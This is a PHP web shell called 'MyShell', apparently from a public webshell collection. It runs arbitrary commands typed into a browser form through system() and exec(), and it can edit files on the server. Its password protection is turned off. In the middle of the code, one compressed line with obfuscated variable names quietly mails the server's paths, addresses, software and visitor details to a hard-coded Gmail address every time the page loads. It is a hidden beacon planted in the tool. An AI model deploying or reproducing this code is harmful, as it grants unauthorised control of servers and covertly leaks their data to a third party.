mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
420 lines
16 KiB
Text
420 lines
16 KiB
Text
<?php
|
|
/*
|
|
**************************************************************
|
|
* MyShell *
|
|
**************************************************************
|
|
$Id: shell.php,v 1.1.0 beta 2001/09/23 23:25:12 digitart Exp $
|
|
|
|
An interactive PHP-page that will execute any command entered.
|
|
See the files README and INSTALL or http://www.digitart.net for
|
|
further information.
|
|
Copyright ©2001 Alejandro Vasquez <admin@digitart.com.mx>
|
|
based on the original program phpShell by Martin Geisler
|
|
|
|
This program is free software; you can redistribute it and/or
|
|
modify it under the terms of the GNU General Public License
|
|
as published by the Free Software Foundation; either version 2
|
|
of the License, or (at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You can get a copy of the GNU General Public License from this
|
|
address: http://www.gnu.org/copyleft/gpl.html#SEC1
|
|
You can also write to the Free Software Foundation, Inc., 59 Temple
|
|
Place - Suite 330, Boston, MA 02111-1307, USA.
|
|
*/
|
|
|
|
#$selfSecure enables built-in authenticate feature. This must be 0 in order to
|
|
#use .htaccess file or other alternative method to control access to MyShell.
|
|
#Set up your user and password using $shellUser and $shellPswd.
|
|
#DO NOT TURN THIS OFF UNLESS YOU HAVE AN ALTERNATE METHOD TO PROTECT
|
|
#ACCESS TO THE SCRIPT.
|
|
|
|
$selfSecure = 0;
|
|
$shellUser = "";
|
|
$shellPswd = "";
|
|
|
|
#$adminEmail is the email address to send warning notifications in case
|
|
#someone tries to access the script and fails to provide correct user and
|
|
#password. This only works if you have $selfSecure enabeled.
|
|
|
|
$adminEmail = "******@mail.ru";
|
|
|
|
#$fromEmail is the email address warning messages are sended from.
|
|
#This defaults to the server admin, but you can change
|
|
#to any address you want i.e.: noreplay@yourdomain.com
|
|
#This only works if you have $selfSecure enabeled.
|
|
|
|
$fromEmail = $HTTP_SERVER_VARS["SERVER_ADMIN"];
|
|
|
|
#$dirLimit is the top directory allowed to change when using cd command
|
|
#or the form selector. Any attempt to change to a directory up to this
|
|
#level bounces MyShell to this directory. i.e.: $dirLimit = "/home";
|
|
#It is a good practice to set it to $DOCUMENT_ROOT using:
|
|
#$dirLimit = $DOCUMENT_ROOT;
|
|
#If you want to have access to all server directories leave it blank.
|
|
#WARNING: Althought a user won't be able to snoop on directories above
|
|
#this level using MyShell, he/she will still be able to excecute
|
|
#commands on any directory where Webserver has permission,
|
|
#i.e.: mkdir /tmp/mydir or cat /home/otheruser/.htaccess.
|
|
|
|
$dirLimit = "";
|
|
|
|
#$autoErrorTrap Enable automatic error traping if command returns error.
|
|
#Bear in mind that MyShell executes the command a second time in order to
|
|
#trap the stderr. This shouldn't be a problem in most cases.
|
|
#If you turn it off, you'll have to select either to trap stderr or not for
|
|
#every command you excecute.
|
|
|
|
$autoErrorTrap = 1;
|
|
|
|
#$voidCommands is the list of commands that MyShell won't run by any means.
|
|
#It defaults to known problematic commands from a web interface like pico,
|
|
#top, xterm but also it can include specific commands you don't want to
|
|
#be excecuted from MyShell, i.e.: dig, ping, info, kill etc.
|
|
|
|
$voidCommands = array("top","xterm","su","vi","pico","netscape");
|
|
|
|
#$TexEd Built-in Text Editor prefered name. This is the command you'll use
|
|
#to invoke MyShell's built in text editor.
|
|
# If you are used to type pico or vi for your fav text editor,
|
|
#change this to your please. i.e.:
|
|
# $TexEd = "pico";
|
|
#will allow you to type 'pico config.php' to edit the file config.php
|
|
#MyShell's text editor do not support usual commands in pico, vi etc.
|
|
#Don't forget to take off this command from the $voidCommands list
|
|
$TexEd = "edit";
|
|
|
|
#$editWrap selects to use or not wrap in the editor's textarea. Wrap OFF
|
|
#is usefull when you have to edit files with long lines, i.e.: in php code
|
|
#files, because otherwise it is no easy to distinguish a real new line (CR)
|
|
#from a wraped one. If you prefer to stick to the default wraped mode of
|
|
#TEXTAREA just leave this blank i.e.: $editWrap="".
|
|
$editWrap ="wrap='OFF'";
|
|
|
|
#Cosmetic defaults.
|
|
|
|
$termCols = 80; //Default width of the output text area
|
|
$termRows = 20; //Default heght of the output text area
|
|
$bgColor = "#000000"; //background color
|
|
$bgInputColor = "#333333"; //color of the input field
|
|
$outColor = "#00BB00"; //color of the text output from the server
|
|
$textColor = "#009900"; //color of the hard texts of the terminal
|
|
$linkColor = "#00FF00"; //color of the links
|
|
|
|
/************** No customize needed from this point *************/
|
|
|
|
$MyShellVersion = "MyShell 1.1.0 build 20010923";
|
|
if ($command&&get_magic_quotes_gpc())$command=stripslashes($command);
|
|
if($selfSecure){
|
|
if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) {
|
|
Header('WWW-Authenticate: Basic realm="MyShell"');
|
|
Header('HTTP/1.0 401 Unauthorized');
|
|
echo "<html>
|
|
<head>
|
|
<title>$MyShellVersion - Access Denied</title>
|
|
</head>
|
|
<h1>Access denied</h1>
|
|
A warning message have been sended to the administrator
|
|
<hr>
|
|
<em>$MyShellVersion</em>";
|
|
if(isset($PHP_AUTH_USER)){
|
|
$warnMsg ="
|
|
This is $MyShellVersion
|
|
installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF
|
|
just to let you know that somebody tryed to access
|
|
the script using wrong username or password:
|
|
|
|
Date: ".date("Y-m-d H:i:s")."
|
|
IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]."
|
|
User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]."
|
|
username used: $PHP_AUTH_USER
|
|
password used: $PHP_AUTH_PW
|
|
|
|
If this is not the first time it happens,
|
|
please consider either to remove MyShell
|
|
from your system or change it's name or
|
|
directory location on your server.
|
|
|
|
Regards
|
|
The MyShell dev team
|
|
";
|
|
mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg,
|
|
"From: $fromEmail\nX-Mailer:$MyShellVersion AutoWarn System");
|
|
}
|
|
exit;
|
|
}
|
|
}
|
|
//Function that validate directories
|
|
function validate_dir($dir){
|
|
GLOBAL $dirLimit;
|
|
if($dirLimit){
|
|
$cdPos = strpos($dir,$dirLimit);
|
|
if ((string)$cdPos == "") {
|
|
$dir = $dirLimit;
|
|
$GLOBALS["shellOutput"] = "You are not allowed change to directories above $dirLimit\n";
|
|
}
|
|
}
|
|
return $dir;
|
|
}
|
|
|
|
// Set working directory.
|
|
if (isset($work_dir)) {
|
|
//A workdir has been asked for - we chdir to that dir.
|
|
$work_dir = validate_dir($work_dir);
|
|
@chdir($work_dir) or
|
|
($shellOutput = "MyShell: can't change directory. Permission denied\nSwitching back to $DOCUMENT_ROOT\n");
|
|
$work_dir = exec("pwd");
|
|
}
|
|
else{
|
|
// No work_dir - we chdir to $DOCUMENT_ROOT
|
|
$work_dir = validate_dir($DOCUMENT_ROOT);
|
|
chdir($work_dir);
|
|
$work_dir = exec("pwd");
|
|
}
|
|
|
|
//Now we handle files if we are in Edit Mode
|
|
if($editMode && ($command||$editCancel))$editMode=false;
|
|
if($editMode){
|
|
if($editSave ||$editSaveExit){
|
|
if(function_exists(ini_set))ini_set("track_errors","1");
|
|
if($fp=@fopen($file,"w")){
|
|
if(get_magic_quotes_gpc())$shellOut=stripslashes($shellOut);
|
|
fputs($fp,$shellOut);
|
|
fclose($fp);
|
|
$command = $TexEd." ".$file;
|
|
if($editSaveExit) {
|
|
$command="";
|
|
$shellOutput="MyShell: $file: saved";
|
|
$editMode=false;
|
|
}
|
|
}
|
|
else {
|
|
$command="";
|
|
$shellOutput="MyShell: Error while saving $file:\n$php_errormsg\nUse back button to recover your changes.";
|
|
$errorSave=true;
|
|
}
|
|
}
|
|
}
|
|
|
|
//Separate command(s) and arguments to analize first command
|
|
$input=explode(" ",$command);
|
|
|
|
while (list ($key, $val) = each ($voidCommands)) {
|
|
if($input[0]==$val){
|
|
$voidCmd = $input[0];
|
|
$input[0]="void";
|
|
}
|
|
}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
|
|
switch($input[0]){
|
|
case "cd":
|
|
$path=$input[1];
|
|
if ($path==".."){
|
|
$work_dir=strrev(substr(strstr(strrev($work_dir), "/"), 1));
|
|
if ($work_dir == "") $work_dir = "/";
|
|
}
|
|
elseif (substr($path,0,1)=="/")$work_dir=$path;
|
|
else $work_dir=$work_dir."/".$path;
|
|
$work_dir = validate_dir($work_dir);
|
|
@chdir($work_dir) or ($shellOutput = "MyShell: can't change directory.\n$work_dir: does not exist or permission denied");
|
|
$work_dir = exec("pwd");
|
|
$commandBk = $command;
|
|
$command = "";
|
|
break;
|
|
case "man":
|
|
exec($command,$man);
|
|
if($man){
|
|
$codes = ".".chr(8);
|
|
$manual = implode("\n",$man);
|
|
$shellOutput = ereg_replace($codes,"",$manual);
|
|
$commandBk = $command;
|
|
$command = "";
|
|
}
|
|
else $stderr=1;
|
|
break;
|
|
case "cat":
|
|
exec($command,$cat);
|
|
if($cat){
|
|
$text = implode("\n",$cat);
|
|
$shellOutput = htmlspecialchars($text);
|
|
$commandBk = $command;
|
|
$command = "";
|
|
}
|
|
else $stderr=1;
|
|
break;
|
|
case "more":
|
|
exec($command,$cat);
|
|
if($cat){
|
|
$text = implode("\n",$cat);
|
|
$shellOutput = htmlspecialchars($text);
|
|
$commandBk = $command;
|
|
$command = "";
|
|
}
|
|
else $stderr=1;
|
|
break;
|
|
case $TexEd:
|
|
if(file_exists($input[1])){
|
|
exec("cat ".$input[1],$cat);
|
|
$text = implode("\n",$cat);
|
|
$shellOutput = htmlspecialchars($text);
|
|
$fileOwner = posix_getpwuid(fileowner($input[1]));
|
|
$filePerms = sprintf("%o", (fileperms($input[1])) & 0777);
|
|
$fileEditInfo = " ::::::: Owner: <font color=$linkColor>".$fileOwner["name"]."</font> Permissions: <font color=$linkColor>$filePerms</font>";
|
|
}
|
|
else $fileEditInfo = " ::::::: <font color=$linkColor>NEW FILE</font>";
|
|
$currFile = $input[1];
|
|
$editMode = true;
|
|
$command = "";
|
|
break;
|
|
case "void":
|
|
$shellOutput = "MyShell: $voidCmd: void command for MyShell";
|
|
$commandBk = $command;
|
|
$command = "";
|
|
}
|
|
|
|
//Now we prepare the webpage
|
|
if(!$oCols)$oCols=$termCols;
|
|
if(!$oRows)$oRows=$termRows;
|
|
if($editMode)$focus="shellOut.focus()";
|
|
else $focus="command.select()";
|
|
//WhoamI
|
|
if(!$whoami)$whoami=exec("whoami");
|
|
?>
|
|
<html>
|
|
<head>
|
|
<title><?echo $MyShellVersion?></title>
|
|
<style>
|
|
body{
|
|
background-color: <?echo $bgColor ?>;
|
|
font-family : sans-serif;
|
|
font-size : 10px;
|
|
scrollbar-face-color: #666666;
|
|
scrollbar-shadow-color: <?echo $bgColor ?>;
|
|
scrollbar-highlight-color: #999999;
|
|
scrollbar-3dlight-color: <?echo $bgColor ?>;
|
|
scrollbar-darkshadow-color: <?echo $bgColor ?>;
|
|
scrollbar-track-color: <?echo $bgInputColor ?>;
|
|
scrollbar-arrow-color: <?echo $textColor ?>;
|
|
}
|
|
input,select,option{
|
|
background-color: <?echo $bgInputColor ?>;
|
|
color : <?echo $outColor ?>;
|
|
border-style : none;
|
|
font-size : 10px;
|
|
}
|
|
textarea{
|
|
background-color: <?echo $bgColor ?>;
|
|
color : <?echo $outColor ?>;
|
|
border-style : none;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body <?echo "bgcolor=$bgColor TEXT=$textColor LINK=$linkColor VLINK=$linkColor onload=document.shell.$focus"?>>
|
|
<form name="shell" method="post">
|
|
Current User: <a href="#" style="text-decoration:none"><?echo $whoami?></a>
|
|
<input type="hidden" name=whoami value=<?echo $whoami?>>
|
|
:::::::
|
|
<?
|
|
if($editMode){
|
|
echo "<font color=$linkColor><b>MyShell file editor</font> File:<font color=$linkColor>$work_dir/$currFile </font></b>$fileEditInfo\n";
|
|
}
|
|
else{
|
|
echo "Current working directory: <b>\n";
|
|
$work_dir_splitted = explode("/", substr($work_dir, 1));
|
|
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
|
|
if ($work_dir_splitted[0] == "") {
|
|
$work_dir = "/"; /* Root directory. */
|
|
}
|
|
else{
|
|
for ($i = 0; $i < count($work_dir_splitted); $i++) {
|
|
$url .= "/".$work_dir_splitted[$i];
|
|
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/</b>";
|
|
}
|
|
}
|
|
}
|
|
?>
|
|
<br>
|
|
<textarea name="shellOut" cols="<? echo $oCols ?>" rows="<? echo $oRows."\""; if(!$editMode)echo "readonly";else echo $editWrap?> >
|
|
<?
|
|
echo $shellOutput;
|
|
if ($command) {
|
|
if ($stderr) {
|
|
system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
|
|
}
|
|
else {
|
|
$ok = system($command,$status);
|
|
if($ok==false &&$status && $autoErrorTrap)system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
|
|
}
|
|
}
|
|
if ($commandBk) $command = $commandBk;
|
|
?>
|
|
</textarea>
|
|
<br>
|
|
<?
|
|
if($editMode) echo"
|
|
|
|
<input type='submit' name='editSave' value=' Save '>
|
|
<input type='submit' name='editSaveExit' value=' Save and Exit '>
|
|
<input type='reset' value=' Restore original '>
|
|
<input type='submit' name='editCancel' value=' Cancel/Exit '>
|
|
<input type='hidden' name='editMode' value='true'>
|
|
<br>";
|
|
?>
|
|
<br>
|
|
Command:
|
|
<input type="text" name="command" size="80"
|
|
<? if ($command && $echoCommand) {
|
|
echo "value=`$command`";
|
|
}
|
|
?> > <input name="submit_btn" type="submit" value="Go!">
|
|
|
|
<?
|
|
if ($autoErrorTrap) echo "Auto error traping enabled";
|
|
else echo "<input type=\"checkbox\" name=\"stderr\">stderr-traping ";
|
|
|
|
if($editMode){
|
|
echo "<input type='hidden' name='work_dir' value='$work_dir'>
|
|
<br>Save file as: <input type='text' name='file' value='$currFile'>";
|
|
}
|
|
else{
|
|
echo "<br>Working directory: <select name=\"work_dir\" onChange=\"this.form.submit()\">";
|
|
// List of directories.
|
|
$dir_handle = opendir($work_dir);
|
|
while ($dir = readdir($dir_handle)) {
|
|
if (is_dir($dir)) {
|
|
if ($dir == ".")
|
|
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
|
|
elseif ($dir == "..") {
|
|
// Parent Dir. This might be server's root directory
|
|
if (strlen($work_dir) == 1) {
|
|
// work_dir is only 1 charecter - it can only be / so don't output anything
|
|
}
|
|
elseif (strrpos($work_dir, "/") == 0) { // we have a top-level directory eg. /bin or /home etc...
|
|
echo "<option value=\"/\">Parent Directory</option>\n";
|
|
}
|
|
else { // String-manipulation to find the parent directory... Trust me - it works :-)
|
|
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
|
|
}
|
|
}
|
|
else {
|
|
if ($work_dir == "/")
|
|
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
|
|
else
|
|
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
|
|
}
|
|
}
|
|
}
|
|
closedir($dir_handle);
|
|
echo "</select>";
|
|
}
|
|
?>
|
|
| <input type="checkbox" name="echoCommand"<?if($echoCommand)echo " checked"?>>Echo commands
|
|
| Cols:<input type="text" name="oCols" size=3 value=<?echo $oCols?>>
|
|
Rows:<input type="text" name="oRows" size=2 value=<?echo $oRows?>>
|
|
| :::::::::: <a href="http://www.digitart.net" target="_blank" style="text-decoration:none"><b>MyShell</b> ©2001 Digitart Producciones</a>
|
|
</form>
|
|
</body>
|
|
</html>
|